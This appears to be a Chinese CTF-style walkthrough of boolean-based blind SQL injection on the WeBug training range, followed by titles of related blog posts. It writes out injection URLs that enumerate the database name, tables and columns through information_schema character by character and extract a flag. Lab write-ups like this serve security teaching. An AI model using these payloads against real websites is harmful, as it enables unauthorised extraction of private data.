webug 2、布尔注入
思路:先查询数据库长度,再查询数据库名
再查表个数,表长度,表名
再查列个数,列长度,列名
最后查表中对应字段
成功取flag值
url:http://192.168.1.4/control/sqlinject/bool_injection.php?id=1
判断注入点
http://192.168.1.4/control/sqlinject/bool_injection.php?id=1' 报错
http://192.168.1.4/control/sqlinject/bool_injection.php?id=1' and 1=1 %23 不报错,这里的%23为#的url编码
http://192.168.1.4/control/sqlinject/bool_injection.php?id=1' and 1=2 %23 报错
查看数据库长度
http://192.168.1.4/control/sqlinject/bool_injection.php?id=1' and length(database())=5 %23
这里查到数据库长度为5,可使用二分法进行查询
查看数据库名
使用函数ascii(),substr()
http://192.168.1.4/control/sqlinject/bool_injection.php?id=1' and ascii(substr(database(),1,1))=119 %23
查询数据库的第一个字母为w
http://192.168.1.4/control/sqlinject/bool_injection.php?id=1' and ascii(substr(database(),2,1))=101 %23
查询数据库的第二个字母为e 修改substr函数的值
以此类推,查询到数据库名为webug
查询数据库中表个数
http://192.168.1.4/control/sqlinject/bool_injection.php?id=1' and (select count(table_schema) from information_schema.tables where table_schema='webug')=7 %23
表个数为7
查询数据库中每个表的长度
http://192.168.1.4/control/sqlinject/bool_injection.php?id=1' and length(substr((select table_name from information_schema.tables where table_schema='webug' limit 0,1),1))=9 %23
查询出第一个表的长度为9
http://192.168.1.4/control/sqlinject/bool_injection.php?id=1' and length(substr((select table_name from information_schema.tables where table_schema='webug' limit 1,1),1))=8 %23
查询出第二个表的长度为8 通过limit的值来查询第二个表
以此类推,可查出其他五个表的长度
取flag值
因flag值在第二个表中,故查询第二个表的信息
http://192.168.1.4/control/sqlinject/bool_injection.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='webug' limit 1,1),1))=101 %23
第二个表的第一个字母为e
以此类推,查询第二表为:env_list
查询表二中有多少个列
http://192.168.1.4/control/sqlinject/bool_injection.php?id=1' and (select count(column_name) from information_schema.columns where table_name='env_list')=8 %23
表中有8列
查询表二的第一个列长度
http://192.168.1.4/control/sqlinject/bool_injection.php?id=1' and length(substr((select column_name from information_schema.columns where table_name='env_list' limit 0,1),1))=2 %23
长度为2
查询第二个表第一列的第一个字母
http://192.168.1.4/control/sqlinject/bool_injection.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='env_list' limit 0,1),1))=105 %23
第一个字母为i
以此类推,第二个字母为d,所以,表的第一列为id
查询表二的第二个列长度
http://192.168.1.4/control/sqlinject/bool_injection.php?id=1' and length(substr((select column_name from information_schema.columns where table_name='env_list' limit 1,1),1))=7 %23
长度为7
查询第二个表第二个列的第一个字母
http://192.168.1.4/control/sqlinject/bool_injection.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='env_list' limit 1,1),1))=101 %23
第一个字母为e
以此类推,表的第二个列为envName
因为flag在第六列中,使用上述方法,先查询表二中第六列的长度,再查列的字母,查出第六列为:envFlag
库名:webug
表名:env_list
表中列名:id,envName,…,envFlag,…
查flag值的长度
http://192.168.1.4/control/sqlinject/bool_injection.php?id=1' and length(substr((select envFlag from env_list where id=2 limit 0,1),1))=9 %23
flag值长度为9
查flag值的第一个字母
http://192.168.1.4/control/sqlinject/bool_injection.php?id=1' and ascii(substr((select envFlag from env_list where id=2 limit 0,1),1))=102 %23
flag值的第一个字母为:f
以此类推,flag值为:fdsafsdfa
webug 2、布尔注入相关推荐
- webug 4.0 第二关 布尔注入
感谢webug团队一直以来的更新维护! webug是什么 WeBug名称定义为"我们的漏洞"靶场环境基础环境是基于PHP/mysql制作搭建而成,中级环境与高级环境分别都是由互联网 ...
- webug4.0通关笔记---(第一天:布尔注入)
布尔注入 页面在执行sql语句后,只会显示两种结果,Tuer or False 也就意味着,它不需要报错,不需要知道准确的字段个数, 归根结底它只关心一点: 我们的sql到底有没有被执行成功 如果还没 ...
- sql注入——布尔注入
以sqli-labs-master 闯关游戏第八关为例: 第一步:判断注入点 ?id=1' and 1=2-- - //页面显示异常 ?id=1' and 1=1-- - //页面正常显示 第二步:判 ...
- webug4.0—布尔注入
盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入.盲注一般分为布尔盲注和基于时间的盲注和报错的盲注.本次主要讲解的是基于布尔的盲注. Length()函数 返 ...
- 网络安全之webug显错注入实战
一.实验所需函数 1. concat(str1,str2,...)返回结果为参数间无间隔符连接起来的字符串,如果其中有一个参数为NULL,返回结果为NULL 2. concat_ws(separato ...
- webug————显错注入
1.打开靶场,寻找注入点进行测试 id=1 2.输入':":),进行判断查看是否报错 输入":)页面无变化,'出现报错,说明存在SQL注入 3.注入流程 :寻找注入点->构造 ...
- webug 4.0 第四关 POST注入
感谢webug团队一直以来的更新维护! webug是什么 WeBug名称定义为"我们的漏洞"靶场环境基础环境是基于PHP/mysql制作搭建而成,中级环境与高级环境分别都是由互联网 ...
- webug靶场注入篇
显错注入 单引号报错,构造闭合,payload' and 1=1--+与 ' and 1=2,页面返回的信息不一致,由此还可以判断出存在注入,用order by查出字段数为二,union 联合查询找到 ...
- SQL注入之布尔型盲注
什么是布尔判断SQL注入? "布尔判断"指的是利用SQL语句**逻辑与(and)**操作,判断and两边的条件是否成立,SQL语句带入输入库查询后判断返回内容(通常返回值仅有非空和 ...
最新文章
- AWS攻略——使用CodeCommit托管代码
- areas where akka is being deployed into production
- slurm任务调度系统部署和测试(一)
- 时钟同步和时钟修正的小技巧
- 安装Terminator和快捷键使用
- Codeforces Round #229
- html百度蜘蛛跳转代码,php搜索引擎劫持,百度蜘蛛劫持,搜索引擎蜘蛛劫持原理及代码分享...
- python-----运算符及while循环
- 中标麒麟linux卸载qt,国产化 银河麒麟编译Qt程序的问题汇总 | 阿拉灯
- 《精通Python设计模式》学习之原型模式
- Web开发者必备:Web应用检查清单
- 计算机硬盘是通用的吗,通用账务系统安装到计算机硬盘前需要进行的准备工作有()。A.清理硬盘B.校准计算机系统时间C.重设C - 作业在线问答...
- URAL 1132 Square Root(二次剩余定理)题解
- B站C语言字符动画原理,最初B站会员答题有多么“丧心病狂”?
- Silverlight游戏设计(Game Design):(六)场景编辑器之开源畅想
- 查找算法——adjacent_find
- 在 cmd 中启动 Android 模拟器
- hazelcast 搭建_Spring Boot集成Hazelcast实现集群与分布式内存缓存
- vxe-table 如何用回车键替换 Tab 键功能,回车切换到右侧单元格,回车切换下一个单元格
- EChat(简易聊天项目)七、保存聊天记录
热门文章
- android应用开发-从设计到实现 2-3 颜色的运用
- ACL访问控制列表 基础、创建ACL访问控制列表的两种方式、配置ACL访问控制列表规则、修改ACL规则的默认步长。子网掩码、反掩码、通配符掩码的区别和作用。
- 浪潮笔试摆石头——C++
- 搭档之家:第五次“联姻”?中信建投、中信证券携手涨停 网友:是并购的味道
- 云呐:车间管理部门固定资产设备管理软件是否需要定制
- Elasticsearch语法(聚合)
- NFT空投预售的几种方法
- 慈文传媒马中骏累计质押5838万股份 占总股本逾12%
- Cgroup是什么(相关概念、功能、作用、特点、怎么用)
- CVPR 2018 最牛逼的十篇论文